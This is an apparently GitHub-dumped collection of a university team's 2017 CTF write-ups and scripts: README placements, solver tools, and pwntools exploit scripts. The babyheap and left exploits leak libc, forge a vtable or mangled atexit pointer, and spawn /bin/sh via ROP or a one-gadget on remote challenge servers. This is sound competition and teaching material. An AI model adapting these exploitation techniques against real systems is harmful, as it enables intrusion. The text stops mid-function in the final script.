├── README.md ├── bkp-2017 ├── pwn │ └── memo-300 │ │ ├── memo │ │ ├── memo_libc.so.6 │ │ └── README.md └── README.md ├── csaw-finals-2017 ├── pwn │ └── cyberwar-350 │ │ ├── shellcode │ │ ├── shellcode.asm │ │ └── shellcode │ │ ├── scripts │ │ ├── trace.py │ │ └── exploit.py │ │ └── README.md ├── rev │ └── defcon1-50 │ │ ├── img │ │ ├── 0.png │ │ └── 1.png │ │ ├── cyberwar.rom │ │ ├── scripts │ │ └── extract.py │ │ └── README.md ├── README.md └── web │ └── gopher2 │ ├── gopher2-server.js │ └── README.md ├── 0x00ctf-2017 ├── pwn │ ├── left-250 │ │ ├── left │ │ ├── libc-2.23.so │ │ ├── leak.py │ │ ├── exploit.py │ │ └── README.md │ └── babyheap-200 │ │ ├── babyheap │ │ ├── libc-2.23.so │ │ ├── exploit.py │ │ └── README.md ├── reverse │ ├── challenge-004-50 │ │ ├── hello │ │ └── README.md │ └── challenge-000-50 │ │ ├── guessme │ │ └── README.md └── README.md ├── sectctf-2017 ├── rev │ └── da-vinci-300 │ │ ├── img │ │ ├── 0.png │ │ ├── 1.png │ │ ├── 2.png │ │ ├── 3.png │ │ ├── 4.png │ │ ├── 5.png │ │ ├── 6.png │ │ ├── 7.png │ │ ├── 8.png │ │ ├── 9.png │ │ ├── 10.png │ │ ├── 11.png │ │ ├── 12.png │ │ └── 13.png │ │ ├── dvkey │ │ └── dvkey │ │ ├── da_vinci.tar.gz │ │ └── README.md └── README.md ├── backdoorctf-2017 ├── web │ └── extends-me-250 │ │ ├── EXTEND-ME.zip │ │ └── README.md └── README.md ├── googlectf-2017 ├── reversing │ └── counting │ │ ├── out │ │ └── code_llvm │ │ ├── challenge │ │ ├── counter │ │ └── code │ │ ├── graphs │ │ ├── callgraph.png │ │ ├── function_0.png │ │ ├── function_20.png │ │ ├── function_29.png │ │ ├── function_45.png │ │ ├── function_64.png │ │ ├── function_84.png │ │ ├── function_92.png │ │ ├── function_99.png │ │ ├── function_108.png │ │ └── function_113.png │ │ ├── tools │ │ ├── solve.c │ │ ├── disasm.py │ │ ├── transllvm.py │ │ └── callgraph.py │ │ ├── reverse │ │ └── counter.c │ │ └── README.md └── README.md ├── hxpctf-2017 ├── README.md └── misc │ └── irrgarten │ └── README.md ├── plaidctf-2017 ├── README.md └── pwnable │ └── yacp-300 │ ├── yacp_13c264f8b1a8f3d0081086e6f12d7d05.tar.bz2 │ └── README.md ├── polictf-2017 ├── README.md └── pwnables │ └── status-box-120 │ └── README.md ├── pwn2win-2017 ├── README.md ├── reversing │ └── intel-sgx-474 │ │ ├── intelsgx_fd1abca8d26ddb5210e60f9f9a92de2e387733dfca220f13f1a1681b1430577e.tar.gz │ │ ├── solve.py │ │ └── README.md └── crypto │ └── differential_privacy │ └── README.md ├── volgactf-quals-2017 ├── reverse │ └── transformer-400 │ │ ├── transformer │ │ └── README.md ├── README.md └── exploits │ └── not-so-honest-350 │ ├── not_so_honest │ └── README.md ├── hitcon-quals-2017 ├── README.md └── web │ └── babyfirst-revenge │ └── README.md └── PLAYGROUND ├── README.md └── 02 - Exploitation 101 └── Exercise 2 └── README.md /README.md: -------------------------------------------------------------------------------- 1 | # ctf-writeups 2 | SPRITZ plays CTFs! Writeups by spritzers 3 | -------------------------------------------------------------------------------- /bkp-2017/pwn/memo-300/memo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/bkp-2017/pwn/memo-300/memo -------------------------------------------------------------------------------- /csaw-finals-2017/pwn/cyberwar-350/shellcode/shellcode.asm: -------------------------------------------------------------------------------- 1 | bits 16 2 | 3 | mov word [0x7c14], 0x1664 4 | jmp 0x7c00 5 | -------------------------------------------------------------------------------- /bkp-2017/README.md: -------------------------------------------------------------------------------- 1 | # Boston Key Party CTF 2017 2 | 3 | **Team:** No Pwn Intended 4 | 5 | **Placement:** 86th (701 points) 6 | -------------------------------------------------------------------------------- /0x00ctf-2017/pwn/left-250/left: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/0x00ctf-2017/pwn/left-250/left -------------------------------------------------------------------------------- /bkp-2017/pwn/memo-300/memo_libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/bkp-2017/pwn/memo-300/memo_libc.so.6 -------------------------------------------------------------------------------- /0x00ctf-2017/pwn/babyheap-200/babyheap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/0x00ctf-2017/pwn/babyheap-200/babyheap -------------------------------------------------------------------------------- /0x00ctf-2017/pwn/left-250/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/0x00ctf-2017/pwn/left-250/libc-2.23.so -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/img/0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/sectctf-2017/rev/da-vinci-300/img/0.png -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/sectctf-2017/rev/da-vinci-300/img/1.png -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/sectctf-2017/rev/da-vinci-300/img/2.png -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/sectctf-2017/rev/da-vinci-300/img/3.png -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/img/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/sectctf-2017/rev/da-vinci-300/img/4.png -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/img/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/sectctf-2017/rev/da-vinci-300/img/5.png -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/img/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/sectctf-2017/rev/da-vinci-300/img/6.png -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/img/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/sectctf-2017/rev/da-vinci-300/img/7.png -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/img/8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/sectctf-2017/rev/da-vinci-300/img/8.png -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/img/9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/sectctf-2017/rev/da-vinci-300/img/9.png -------------------------------------------------------------------------------- /csaw-finals-2017/rev/defcon1-50/img/0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/csaw-finals-2017/rev/defcon1-50/img/0.png -------------------------------------------------------------------------------- /csaw-finals-2017/rev/defcon1-50/img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/csaw-finals-2017/rev/defcon1-50/img/1.png -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/dvkey/dvkey: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/sectctf-2017/rev/da-vinci-300/dvkey/dvkey -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/img/10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/sectctf-2017/rev/da-vinci-300/img/10.png -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/img/11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/sectctf-2017/rev/da-vinci-300/img/11.png -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/img/12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/sectctf-2017/rev/da-vinci-300/img/12.png -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/img/13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/sectctf-2017/rev/da-vinci-300/img/13.png -------------------------------------------------------------------------------- /0x00ctf-2017/pwn/babyheap-200/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/0x00ctf-2017/pwn/babyheap-200/libc-2.23.so -------------------------------------------------------------------------------- /0x00ctf-2017/reverse/challenge-004-50/hello: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/0x00ctf-2017/reverse/challenge-004-50/hello -------------------------------------------------------------------------------- /csaw-finals-2017/rev/defcon1-50/cyberwar.rom: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/csaw-finals-2017/rev/defcon1-50/cyberwar.rom -------------------------------------------------------------------------------- /0x00ctf-2017/reverse/challenge-000-50/guessme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/0x00ctf-2017/reverse/challenge-000-50/guessme -------------------------------------------------------------------------------- /sectctf-2017/rev/da-vinci-300/da_vinci.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/sectctf-2017/rev/da-vinci-300/da_vinci.tar.gz -------------------------------------------------------------------------------- /backdoorctf-2017/web/extends-me-250/EXTEND-ME.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/backdoorctf-2017/web/extends-me-250/EXTEND-ME.zip -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/out/code_llvm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/googlectf-2017/reversing/counting/out/code_llvm -------------------------------------------------------------------------------- /0x00ctf-2017/README.md: -------------------------------------------------------------------------------- 1 | # 0x00 CTF 2017 2 | 3 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 4 | 5 | **Placement:** 5th (670 points) 6 | -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/challenge/counter: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/googlectf-2017/reversing/counting/challenge/counter -------------------------------------------------------------------------------- /hxpctf-2017/README.md: -------------------------------------------------------------------------------- 1 | # HXP CTF 2017 2 | 3 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 4 | 5 | **Placement:** 23th (961 points) 6 | -------------------------------------------------------------------------------- /csaw-finals-2017/pwn/cyberwar-350/shellcode/shellcode: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/csaw-finals-2017/pwn/cyberwar-350/shellcode/shellcode -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/graphs/callgraph.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/googlectf-2017/reversing/counting/graphs/callgraph.png -------------------------------------------------------------------------------- /plaidctf-2017/README.md: -------------------------------------------------------------------------------- 1 | # PlaidCTF 2017 2 | 3 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 4 | 5 | **Placement:** 94th (587 points) 6 | -------------------------------------------------------------------------------- /polictf-2017/README.md: -------------------------------------------------------------------------------- 1 | # PoliCTF 2017 2 | 3 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 4 | 5 | **Placement:** 15th (1997 points) 6 | -------------------------------------------------------------------------------- /pwn2win-2017/README.md: -------------------------------------------------------------------------------- 1 | # Pwn2Win CTF 2017 2 | 3 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 4 | 5 | **Placement:** 9th (2085 points) 6 | -------------------------------------------------------------------------------- /sectctf-2017/README.md: -------------------------------------------------------------------------------- 1 | # SEC-T CTF 2017 2 | 3 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 4 | 5 | **Placement:** 6th (2925 points) 6 | -------------------------------------------------------------------------------- /backdoorctf-2017/README.md: -------------------------------------------------------------------------------- 1 | # BackdoorCTF 2017 2 | 3 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 4 | 5 | **Placement:** 43rd (1350 points) 6 | -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/graphs/function_0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/googlectf-2017/reversing/counting/graphs/function_0.png -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/graphs/function_20.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/googlectf-2017/reversing/counting/graphs/function_20.png -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/graphs/function_29.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/googlectf-2017/reversing/counting/graphs/function_29.png -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/graphs/function_45.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/googlectf-2017/reversing/counting/graphs/function_45.png -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/graphs/function_64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/googlectf-2017/reversing/counting/graphs/function_64.png -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/graphs/function_84.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/googlectf-2017/reversing/counting/graphs/function_84.png -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/graphs/function_92.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/googlectf-2017/reversing/counting/graphs/function_92.png -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/graphs/function_99.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/googlectf-2017/reversing/counting/graphs/function_99.png -------------------------------------------------------------------------------- /volgactf-quals-2017/reverse/transformer-400/transformer: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/volgactf-quals-2017/reverse/transformer-400/transformer -------------------------------------------------------------------------------- /googlectf-2017/README.md: -------------------------------------------------------------------------------- 1 | # Google CTF 2017 (Quals) 2 | 3 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 4 | 5 | **Placement:** 84th (583 points) 6 | -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/graphs/function_108.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/googlectf-2017/reversing/counting/graphs/function_108.png -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/graphs/function_113.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/googlectf-2017/reversing/counting/graphs/function_113.png -------------------------------------------------------------------------------- /volgactf-quals-2017/README.md: -------------------------------------------------------------------------------- 1 | # VolgaCTF 2017 Quals 2 | 3 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 4 | 5 | **Placement:** 24th (1700 points) 6 | -------------------------------------------------------------------------------- /hitcon-quals-2017/README.md: -------------------------------------------------------------------------------- 1 | # HITCON qualifiers 2017 2 | 3 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 4 | 5 | **Placement:** 58th (1082 points) 6 | -------------------------------------------------------------------------------- /volgactf-quals-2017/exploits/not-so-honest-350/not_so_honest: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/volgactf-quals-2017/exploits/not-so-honest-350/not_so_honest -------------------------------------------------------------------------------- /plaidctf-2017/pwnable/yacp-300/yacp_13c264f8b1a8f3d0081086e6f12d7d05.tar.bz2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/plaidctf-2017/pwnable/yacp-300/yacp_13c264f8b1a8f3d0081086e6f12d7d05.tar.bz2 -------------------------------------------------------------------------------- /csaw-finals-2017/README.md: -------------------------------------------------------------------------------- 1 | # CSAW CTF Final Round 2017 2 | 3 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 4 | 5 | **Placement (Europe):** 6th (1451 points) 6 | 7 | **Placement (Worldwide):** 17th (1451 points) 8 | -------------------------------------------------------------------------------- /pwn2win-2017/reversing/intel-sgx-474/intelsgx_fd1abca8d26ddb5210e60f9f9a92de2e387733dfca220f13f1a1681b1430577e.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPRITZ-Research-Group/ctf-writeups/HEAD/pwn2win-2017/reversing/intel-sgx-474/intelsgx_fd1abca8d26ddb5210e60f9f9a92de2e387733dfca220f13f1a1681b1430577e.tar.gz -------------------------------------------------------------------------------- /PLAYGROUND/README.md: -------------------------------------------------------------------------------- 1 | # SPRITZ_PLAYGROUND 2 | 3 | A series of hands-on meetings/lectures organized by team spritzers. 4 | We meet at the University of Padua bi-monthly and explore basic techniques of offensive cybersecurity. 5 | 6 | This folder contains detailed writeups for some of the exercises we discuss and do during the meetings. 7 | -------------------------------------------------------------------------------- /csaw-finals-2017/rev/defcon1-50/scripts/extract.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | 3 | import sys 4 | 5 | xor = lambda a, b : chr(ord(a) ^ ord(b) ^ 0x3c) 6 | 7 | with open(sys.argv[1], 'rb') as f: 8 | f.seek(512) 9 | ctxt = f.read(512 * 24) 10 | 11 | key = ''.join([xor(ctxt[3+i], 'WARGAMES'[i]) for i in range(8)]) 12 | key = key[-3:] + key[:-3] 13 | 14 | print('[+] Key: {}'.format(key)) 15 | 16 | ptxt = ''.join([xor(ctxt[i], key[i%8]) for i in range(len(ctxt))]) 17 | 18 | with open(sys.argv[2], 'wb') as f: 19 | f.write(ptxt) 20 | -------------------------------------------------------------------------------- /csaw-finals-2017/pwn/cyberwar-350/scripts/trace.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/gdb -P 2 | 3 | import gdb 4 | 5 | class WritePixelBP(gdb.Breakpoint): 6 | def stop(self): 7 | x = int(gdb.parse_and_eval('*((short*)($sp+0))')) 8 | y = int(gdb.parse_and_eval('*((short*)($sp+2))')) 9 | #color = int(gdb.parse_and_eval('*((char*)($sp+4))')) 10 | addr = 0x10000 + x + 320*y 11 | if addr < 0xf000: 12 | print(x, y, hex(addr)) 13 | return False 14 | 15 | gdb.execute('target remote localhost:1234') 16 | WritePixelBP('*0x3956') 17 | gdb.execute('continue') 18 | -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/tools/solve.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | uint64_t fibonacci_mod(uint64_t n, uint64_t m) 6 | { 7 | uint64_t a = 0, b = 1; 8 | for (uint64_t i = 0; i < n; i++) { 9 | uint64_t t = a; 10 | a = b; 11 | b = (t + b) % m; 12 | } 13 | return a; 14 | } 15 | 16 | uint64_t stopping_time(uint64_t n) 17 | { 18 | uint64_t st = 0; 19 | while (n != 1) { 20 | if (n % 2 == 0) { 21 | n = n / 2; 22 | st += 1; 23 | } else { 24 | n = (3*n + 1) / 2; 25 | st += 2; 26 | } 27 | } 28 | return st; 29 | } 30 | 31 | int main(int argc, char *argv[]) 32 | { 33 | if (argc != 2) { 34 | printf("Usage: %s \n", argv[0]); 35 | return 1; 36 | } 37 | 38 | uint64_t n = strtoull(argv[1], NULL, 10); 39 | uint64_t st_sum = 0; 40 | for (uint64_t i = 1; i <= n; i++) 41 | st_sum += stopping_time(i); 42 | printf("Sum: %lld\n", st_sum); 43 | uint64_t flag = fibonacci_mod(n, st_sum); 44 | printf("CTF{%016llx}\n", flag); 45 | } 46 | -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/tools/disasm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import sys 4 | import struct 5 | 6 | def disasm(instr): 7 | (opcode, opnd, n1, n2) = struct.unpack('<4I', instr) 8 | if opcode == 0: 9 | return ('inc r{}, {}'.format(opnd, n1), [n1]) 10 | elif opcode == 1: 11 | return ('cdec r{}, {}, {}'.format(opnd, n1, n2), [n1, n2]) 12 | elif opcode == 2: 13 | return ('call {{{}}}, {}, {}'.format(', '.join(['r{}'.format(i) for i in range(opnd)]), n1, n2), [n1, n2]) 14 | return ('unknown instruction {}'.format(opcode), []) 15 | 16 | with open(sys.argv[1], 'rb') as f: 17 | code = f.read()[4:] 18 | 19 | lines = [] 20 | xrefs = {} 21 | for i in range(0, len(code) // 16): 22 | d, x = disasm(code[i*16:(i+1)*16]) 23 | lines.append('{:>3}: {}'.format(i, d)) 24 | for j in x: 25 | if j == i + 1: 26 | continue 27 | if j in xrefs: 28 | xrefs[j].append(str(i)) 29 | else: 30 | xrefs[j] = [str(i)] 31 | 32 | for i in range(len(lines)): 33 | line = lines[i] 34 | if i in xrefs: 35 | line += ' ; Xrefs: ' + ', '.join(xrefs[i]) 36 | print(line) 37 | -------------------------------------------------------------------------------- /0x00ctf-2017/pwn/left-250/leak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | 3 | from pwn import * 4 | 5 | def maketube(): 6 | p = remote('159.203.116.12', 7777) 7 | p.recvuntil('printf(): ') 8 | libc_base = int(p.recvline()) - 0x55800 9 | return p, libc_base 10 | 11 | def do_read(p, addr): 12 | p.recvuntil('read address:\n') 13 | p.sendline(str(addr)) 14 | p.recvuntil('content: ') 15 | return int(p.recvline()) 16 | 17 | def leak(off): 18 | p, libc_base = maketube() 19 | x = do_read(p, libc_base + off) 20 | p.close() 21 | return x 22 | 23 | ld_off = 0x3c6000 # libc end 24 | while True: 25 | hdr = leak(ld_off) 26 | if p64(hdr)[:4] == '\x7fELF': 27 | break 28 | ld_off += 0x1000 29 | print('[+] Found ld @ libc+0x{:x}'.format(ld_off)) 30 | 31 | entry_off = ld_off + leak(ld_off + 0x18) 32 | print('[+] Found _start @ libc+0x{:x}'.format(entry_off)) 33 | 34 | lea = p64(leak(entry_off + 0x3a)) # lea rdx, [rip+X] (_dl_fini) 35 | if lea[:3] != '\x48\x8d\x15': 36 | print('[-] Unexpected instruction') 37 | sys.exit(1) 38 | dl_fini_off = entry_off + 0x3a + 7 + u32(lea[3:7]) 39 | print('[+] Found _dl_fini @ libc+0x{:x}'.format(dl_fini_off)) 40 | -------------------------------------------------------------------------------- /0x00ctf-2017/pwn/left-250/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | 3 | from pwn import * 4 | 5 | context(os='linux', arch='x86_64') 6 | 7 | p, DL_FINI_OFF = (remote('159.203.116.12', 7777), 0x3daab0) 8 | 9 | def do_read(addr): 10 | p.recvuntil('read address:\n') 11 | p.sendline(str(addr)) 12 | p.recvuntil('content: ') 13 | return int(p.recvline()) 14 | 15 | def do_write(addr, value): 16 | p.recvuntil('write address:\n') 17 | p.sendline(str(addr)) 18 | p.recvuntil('new value:\n') 19 | p.sendline(str(value)) 20 | 21 | PRINTF_OFF = 0x55800 22 | 23 | p.recvuntil('printf(): ') 24 | libc_base = int(p.recvline()) - PRINTF_OFF 25 | print('[+] Leaked libc base: 0x{:12x}'.format(libc_base)) 26 | 27 | ATEXIT_ENTRY = libc_base + 0x3c5c58 28 | DL_FINI = libc_base + DL_FINI_OFF 29 | 30 | ror17 = lambda x : ((x << 47) & (2**64 - 1)) | (x >> 17) 31 | 32 | entry = do_read(ATEXIT_ENTRY) 33 | atexit_secret = ror17(entry) ^ DL_FINI 34 | print('[+] Leaked atexit secret: 0x{:12x}'.format(atexit_secret)) 35 | 36 | rol17 = lambda x : ((x << 17) & (2**64 - 1)) | (x >> 47) 37 | atexit_mangle = lambda addr : rol17(addr ^ atexit_secret) 38 | 39 | # execve("/bin/sh", rsp+0x30, environ) 40 | # works by luck 41 | ONEGADGET = libc_base + 0x4526a 42 | 43 | do_write(ATEXIT_ENTRY, atexit_mangle(ONEGADGET)) 44 | 45 | p.interactive() 46 | -------------------------------------------------------------------------------- /googlectf-2017/reversing/counting/challenge/code: -------------------------------------------------------------------------------- 1 | w  2 |    lw@wwT !" #*$*-%&&'()'*+,w+-.T/01/\23w3445675T89:8T;<=;>?=wTAABCDBEwFGwHw@IIJKLJMw@NOPNPQRSQcwTUVwUWXYZX[wZ\]]^_w`ba^wldegfweqhhijkiclmnwoplwrtswqtuvwu -------------------------------------------------------------------------------- /0x00ctf-2017/pwn/babyheap-200/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | 3 | from pwn import * 4 | 5 | context(os='linux', arch='x86_64') 6 | 7 | p = remote('159.203.116.12', 9999) 8 | 9 | def choice(n): 10 | p.recvuntil('6. exit\n') 11 | p.sendline(str(n)) 12 | 13 | p.recvuntil('enter your name:\n') 14 | p.send('SPRITZERS') 15 | 16 | READ_OFF = 0xf7220 17 | STDOUT_OFF = 0x3c5620 18 | IO_FILE_VTABLE_PTR_OFF = 0xd8 19 | 20 | choice(5) 21 | p.recvuntil('your gift:\n') 22 | libc_base = int(p.recvline()) - READ_OFF 23 | print('[+] Leaked libc base: 0x{:12x}'.format(libc_base)) 24 | vptr_addr = libc_base + STDOUT_OFF + IO_FILE_VTABLE_PTR_OFF 25 | 26 | LIBC_GETS = libc_base + 0x6ed80 27 | # mov rdi, rsp; call qword ptr [rax + 0x20]; if (![[rsp+8]+0x38]) { rsp += 0x38; ret; } 28 | MOV_RDI_RSP = libc_base + 0x12b82b 29 | 30 | choice(4) 31 | p.recvuntil('enter new name:\n') 32 | # arbitrary write address (@ users[12]) 33 | buf = p64(vptr_addr) 34 | # vtable + 0x20 (2) 35 | buf += p64(LIBC_GETS) 36 | # sh path for system(), this fptr is not accessed 37 | buf += '/bin/sh\x00' 38 | buf += 'A'*8 39 | # vtable + 0x38 (1) 40 | buf += p64(MOV_RDI_RSP) 41 | p.send(buf) 42 | 43 | NAME_ADDR = 0x6020a0 44 | FIRST_VTABLE_ENTRY = 0x20 45 | 46 | choice(2) 47 | p.recvuntil('2. insecure edit\n') 48 | p.sendline('2') 49 | p.recvuntil('index: \n') 50 | p.sendline('12') 51 | p.recvuntil('new username: \n') 52 | # use arbitrary write to overwrite vtable ptr to fake vtable in name 53 | # (1) will be called (originally xsputn) 54 | # rax is vtable ptr, so will set rdi = rsp and call (2) (gets) 55 | p.send(p64(NAME_ADDR + 8 - FIRST_VTABLE_ENTRY)[:6]) 56 | 57 | ZERO_ADDR = 0x6020c8 58 | POP_RDI = libc_base + 0x21102 # pop rdi; ret 59 | SYSTEM = libc_base + 0x45390 60 | 61 | # make sure [[rdi+8]+0x38] == 0, write ROP chain to rdi+0x38, profit! 62 | buf = 'A'*8 63 | buf += p64(ZERO_ADDR-0x38) 64 | buf += 'A'*(0x38-len(buf)) 65 | buf += p64(POP_RDI) 66 | buf += p64(NAME_ADDR + 0x10) 67 | buf += p64(SYSTEM) 68 | p.sendline(buf) 69 | 70 | p.interactive() 71 | -------------------------------------------------------------------------------- /csaw-finals-2017/pwn/cyberwar-350/scripts/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | 3 | import time 4 | import subprocess 5 | import struct 6 | 7 | WINDOW_TITLE = '^QEMU(.*VNC)?$' 8 | WINDOW_ID = subprocess.check_output(['xdotool', 'search', '--limit', '1', '--name', WINDOW_TITLE]).strip() 9 | 10 | # may need higher values for remote 11 | DELAY_MAP_DRAW_S = 6 12 | DELAY_KEYPRESS_MS = 12 13 | 14 | scope_x = 160 15 | scope_y = 100 16 | scope_color = 0x0c 17 | 18 | def activate_window(): 19 | subprocess.check_call(['xdotool', 'windowactivate', WINDOW_ID]) 20 | 21 | def press(keys): 22 | subprocess.check_call(['xdotool', 'key', '--delay', str(DELAY_KEYPRESS_MS)] + list(keys)) 23 | time.sleep(DELAY_KEYPRESS_MS / 1000.0) 24 | 25 | def auth(): 26 | press(['minus', 'J', 'O', 'S', 'H', 'U', 'A', 'minus']) 27 | 28 | def select_blessed_base(): 29 | press(['Return']) 30 | time.sleep(DELAY_MAP_DRAW_S) 31 | press(['Left', 'Left', 'Return']) 32 | 33 | def move_scope_x(x): 34 | global scope_x 35 | if x < scope_x: 36 | press(['Left'] * (scope_x - x)) 37 | elif x > scope_x: 38 | press(['Right'] * (x - scope_x)) 39 | scope_x = x 40 | 41 | def 